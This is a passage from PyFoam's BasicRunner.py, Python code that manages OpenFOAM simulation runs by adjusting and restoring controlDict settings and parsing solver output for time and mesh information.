not self.writeRequested:\n if not self.isRestarted:\n if self.controlDict:\n warning(\"The controlDict has already been modified. Restoring will be problementic\")\n self.controlDict=ParameterFile(path.join(self.dir,\"system\",\"controlDict\"),backup=True)\n self.controlDict.replaceParameter(\"writeControl\",\"timeStep\")\n self.controlDict.replaceParameter(\"writeInterval\",\"1\")\n self.writeRequested=True\n\n def stopHandle(self):\n \"\"\"called after the program has stopped\"\"\"\n if self.stopMe or self.isRestarted:\n self.controlDict.restore()\n\n def lineHandle(self,line):\n \"\"\"called every time a new line is read\"\"\"\n pass\n\n def logName(self):\n \"\"\"Get the name of the logfiles\"\"\"\n return self.logFile\n\n def getSolutionDirectory(self,archive=None):\n \"\"\":return: The directory of the case\n :rtype: PyFoam.RunDictionary.SolutionDirectory\n :param archive: Name of the directory for archiving results\"\"\"\n\n return SolutionDirectory(self.dir,archive=archive,parallel=True)\n\n def addEndTrigger(self,f):\n \"\"\":param f: A function that is to be executed at the end of the simulation\"\"\"\n self.endTriggers.append(f)\n\nimport re\n\nclass BasicRunnerCheck(object):\n \"\"\"A small class that does primitve checking for BasicRunner\n Duplicates other efforts, but ....\"\"\"\n\n floatRegExp=\"[-+]?[0-9]*\\.?[0-9]+(?:[eE][-+]?[0-9]+)?\"\n\n def __init__(self):\n # self.timeExpr=re.compile(\"^Time = (%f%)$\".replace(\"%f%\",self.floatRegExp))\n self.timeExpr=config().getRegexp(\"SolverOutput\",\"timeregexp\")\n self.createExpr=re.compile(\"^Create mesh for time = (%f%)$\".replace(\"%f%\",self.floatRegExp))\n self.endSeen=False\n\n def getTime(self,line):\n \"\"\"Does this line contain time information?\"\"\"\n m=self.timeExpr.match(line)\n if m:\n self.endSeen=False\n try:\n return float(m.group(2))\n except ValueError:\n warning(\"Problem while converting\",m.group(2),\"to float\")\n return None\n else:\n if line.strip()==\"End\":\n self.endSeen=True\n return None\n\n def getCreateTime(self,line):\n \"\"\"Does this line contain mesh time information?\"\"\"\n m=self.createExpr.match(line)\n if m:\n return float(m.group(1))\n else:\n return None\n\n def controlDictRead(self,line):\n \"\"\"Was the controlDict reread?\"\"\"\n phrases=[\"Reading object controlDict from file\",\n \"Re-reading object controlDict from file\"]\n\n for p in phrases:\n if line.find(p)>=0:\n return True\n\n return False\n\n# Should work with Python3 and Python2\n","repo_name":"nextfoam/baram","sub_path":"PyFoam/Execution/BasicRunner.py","file_name":"BasicRunner.py","file_ext":"py","file_size_in_byte":21786,"program_lang":"python","lang":"en","doc_type":"code","stars":48,"dataset":"github-code","pt":"72"}